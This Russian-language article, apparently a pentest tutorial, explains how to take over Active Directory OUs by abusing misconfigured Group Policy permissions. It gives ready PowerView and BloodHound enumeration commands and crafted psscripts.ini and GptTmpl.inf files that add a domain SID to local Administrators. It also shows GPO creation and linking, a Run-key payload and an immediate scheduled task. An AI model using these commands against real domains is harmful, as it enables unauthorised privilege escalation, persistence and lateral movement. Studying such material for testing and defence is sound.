Групповые политики стоят далеко не на самом первом месте в чек‑листе типовых уязвимостей Active Directory. Тем не менее, злоупотребляя ими, атакующий сможет получить чрезвычайно выгодное положение, захватив сразу целый OU. В этой статье рассмотрим взлом сети Windows через групповые политики Active Directory.
Еще по теме: Создание стенда для атак на Active Directory
Взлом сети через групповые политики Active Directory
Пользователь vaska имеет подозрительно высокие права на GPO с GUID {31B2F340-016D-11D2-945F-00C04FB984F9}. PowerView третьей версии (он же PowerView DEV) не отстает от своего младшего собрата, но отличается тем, что не умеет автоматически преобразовывать SID в понятное для человека имя пользователя, поэтому в конец каждого командлета добавляется огромная строка:
1 2 3 4 5 6 7 8 9 |
# PowerView v3 # Находим ACL на все политики Get-DomainGPO|Get-DomainObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} # Находим GPO, на которые у пользователя domain\user есть права Get-DomainGPO|Get-DomainObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_}| Foreach-Object {if ($_.Identity -eq $("domain\user")) {$_}} # Находим GPO, на которую пользователи с RID > 1000 имеют какие-нибудь права: Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')} # Обнаружение пользователей (кроме ожидаемых, таких как Enterprise Admins, Domain Admins), которые могут изменять GPO Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | where { $_.ActiveDirectoryRights -match "GenericWrite|AllExtendedRights|WriteDacl|WriteProperty|WriteMember|GenericAll|WriteOwner" -and $_.SecurityIdentifier -match "S-1-5-21-3301805923-005976665-244893303-[\d]{4,10}" } |
Наконец, можно использовать BloodHound:
1 2 |
// Находим политики, на которые пользователь USER@DOMAIN.LOCAL имеет права match p=AllShortestPaths((u:User {name: "USER@DOMAIN.LOCAL"})-[r:MemberOf|GenericWrite*1..]->(o:GPO)) return p |
Теперь, обнаружив политики и возможный мисконфиг в виде пользователя vaska с подозрительными привилегиями, можно приступать к получению учетной записи этого пользователя. Причем разведка на этом не заканчивается, мы можем обнаружить объекты, которые имеют право создавать новые GPO в домене:
1 |
Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=cringe,DC=lab" -ResolveGUIDs | where { $_.ObjectAceType -eq "Group-Policy-Container" } |
Чтобы найти все OU, на которые распространяется политика, воспользуемся вот таким скриптом:
1 2 3 4 |
# PowerView v2 Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_} # PowerView v3 Get-DomainOU -GPLink '{}' | % {Get-DomainObject -SearchBase $_.distinguishedname}|select samaccounttype, cn |
Теперь поищем пользователей, которые могут связывать GPO с OU:
1 2 |
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | where { $_.ObjectAceType -eq "GP-Link" } Get-DomainOU|Get-DomainObjectAcl -ResolveGUIDs | where { (($_.ObjectAceType -match "GP-Link|GP-Options") -and ($_.ActiveDirectoryRights -eq "WriteProperty")) -or ($_.ActiveDirectoryRights -eq "WriteProperty|GenericAll|GenericWrite")} |Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} |
Эксплуатация
mmc
Криво настроенные права можно эксплуатировать и с помощью стандартного приложения mmc.exe, установленного на каждом компьютере c Windows. Сначала запускаем это приложение от лица пользователя, имеющего права на какую‑либо политику. Далее добавляем нужную оснастку.
Добавляем оснастку Group Policy Management, выбираем политику и тогда сможем ее редактировать.
Например, создадим юзера, зайдя по следующему пути:
1 |
Computer configuration > Preferences > Control Panel Settings > Local Users and Groups > New > Local User > Action: Create > User name: |
А затем добавим его в группу локальных администраторов:
1 |
Computer configuration > Preferences > Control Panel Settings > Local Users and Groups > New > Local User > Action: Update > Group name : > Members: Add: |
Файл .ini
Этот способ я подсмотрел у Дмитрия Неверова, руководителя группы анализа защищенности внутренней инфраструктуры в компании «Ростелеком‑Солар». Чаще всего доступа к графическому интерфейсу у нас не будет, поэтому придется либо использовать инструменты, описанные ниже, либо вручную создавать специальный конфигурационный файл.
Например, если наша задача — выполнить скрипт на конечных устройствах, то сначала нужно создать каталог \Machine\Scripts\Startup в корне GPO и поместить в него скрипт Test.ps1. Содержимое скрипта может быть любым, абсолютно любые команды. Следующим шагом в каталоге \Machine\ в корне GPO потребуется открыть файл psscripts.ini. Это скрытый файл. Если файла не существует, его нужно создать. Содержимое файла будет таким:
1 2 3 |
[Startup] 0CmdLine=Test.ps1 0Parameters= |
Этот файл содержит ссылку на скрипт, который нужно выполнить. Также при необходимости в нем прописываются параметры выполнения (когда они есть). Если нужно запустить несколько скриптов, первый символ в этом файле будет инкрементироваться. Для скрипов .bat используется файл scripts.ini.
После завершения подготовительных действий остается только изменить атрибут gpcmachineextensionnames с помощью PowerView:
1 |
Set-DomainObject -Identity VulnGPO -Set @{'gpcmachineextensionnames'=' [{42B5FAAE-6536-11D2-AE5A-0000F87571E3}{40B6664F-4972-11D1-A7CA-0000F87571E3}]'} |
Значения 42B5FAAE-6536-11D2-AE5A-0000F87571E3 и 40B6664F-4972-11D1-A7CA-0000F87571E3 документированы как ProcessScriptsGroupPolicy и Scripts (Startup/Shutdown). Используя их в GPO, мы создаем возможность выполнения скрипта при применении групповой политики.
Причем если атрибут gpcmachineextensionnames уже содержит другие записи, то их тоже нужно внести в команду. Также стоит изменить параметр Version в файле GPT.ini на единицу. Теперь после перезагрузки компьютера скрипт Test.ps1 будет выполнен. По умолчанию задержка на выполнение скриптов составляет пять минут.
Подобным образом можно добавлять локальных администраторов на компьютере. Сначала создаем файл GptTmpl.inf по пути \Machine\Microsoft\Windows NT\SecEdit (иногда эти каталоги отсутствуют и их придется создать). Содержимое файла будет следующим:
1 2 3 4 5 6 7 |
[Unicode] Unicode=yes [Version] signature="$CHICAGO$" Revision=1 [Group Membership] *S-1-5-32-544__Members = *S-1-5-21-2722789902-3858190539-1593706810-1119 |
Здесь к локальной группе локальных администраторов (S-1-5-32-544) добавляется SID доменного пользователя (S-1-5-21-2722789902-3858190539-1593706810-1119). При добавлении пользователя в группу локальных администраторов необходимо учитывать порядок применения GPO. Наши действия могут привести к тому, что легитимные локальные администраторы будут удалены из группы локальных администраторов, поэтому стоит добавить и их SID в файл GptTmpl.inf через запятую.
Следующий шаг заключается в изменении атрибута gpcmachineextensionnames, эту задачу можно выполнить с помощью PowerView:
1 |
Set-DomainObject -Identity VulnGPO -Set @{'gpcmachineextensionnames'='[{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]'} |
827D319E-6EAC-11D2-A4EA-00C04F79F83A имеет значение Security, а 803E14A0-B4FB-11D0-A0D0-00A0C90F574B — Computer Restricted Groups. Применяя их к GPO, мы можем изменять списки участников локальных групп.
Помни: если атрибуты gpcuserextensionnames и gpcmachineextensionnames уже содержат другие записи, их также нужно внести в нашу команду PowerView. Наконец, не забудь изменить параметр Version в файле GPT.ini на единицу.
Создание GPO
Если на этапе разведки получилось обнаружить пользователя, который имеет право создавать GPO и связывать ее с OU, то это также может помочь при эксплуатации. PowerView не имеет возможности создавать GPO, поэтому следует использовать RSAT. Установка этой утилиты не представляет никаких сложностей:
1 2 |
Add-WindowsCapability -Online -Name Rsat.GroupPolicy.Management.Tools.0.0.1.0 Import-Module GroupPolicy |
Заводим новую GPO:
1 |
New-Gpo -Name TestGPO |
Связываем с OU:
1 |
Get-GPO TestGPO | New-GPLink -Target "ou=Test,dc=domain,dc=local" |
После успешного связывания можно либо вручную изменять созданную GPO, как было показано выше, либо использовать для этого подходящие инструменты, например SharpGPOAbuse или pyGPOAbuse.
Когда работы завершатся, GPO будет отвязана от OU:
1 |
Remove-GPLink -Name TestGPO -Target "ou=Test,dc=domain,dc=local" |
И удалена:
1 |
Remove-GPO -Name TestGPO |
Перемещение через GPO
Ничто не мешает нам использовать GPO как средство бокового перемещения. Опять же ставим RSAT:
1 2 |
Add-WindowsCapability -Online -Name Rsat.GroupPolicy.Management.Tools.0.0.1.0 Import-Module GroupPolicy |
И изменяем созданную политику, добавляя в реестр (в ключ автозагрузки) наш пейлоад:
1 |
Set-GPPrefRegistryValue -Name 'Totally Legit GPO' -Context Computer -Action Create -Key 'HKLM\Software\Microsoft\Windows\CurrentVersion\Run' -ValueName 'Updater' -Value 'cmd.exe /c calc.exe' -Type ExpandString |
Если установить RSAT нет возможности, то можно импортировать PowerShell-скрипт, который позволяет создать запланированную задачу:
1 |
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c c:\dsec\getadmin.cmd" -GPODisplayName "VictimGPO" -Verbose -Force |
Заключение
Самое главное — не забывай, что изменения применяются далеко не сразу. Компьютерам нужно время для синхронизации. Если ждать нет возможности, используй команду gpupdate /force.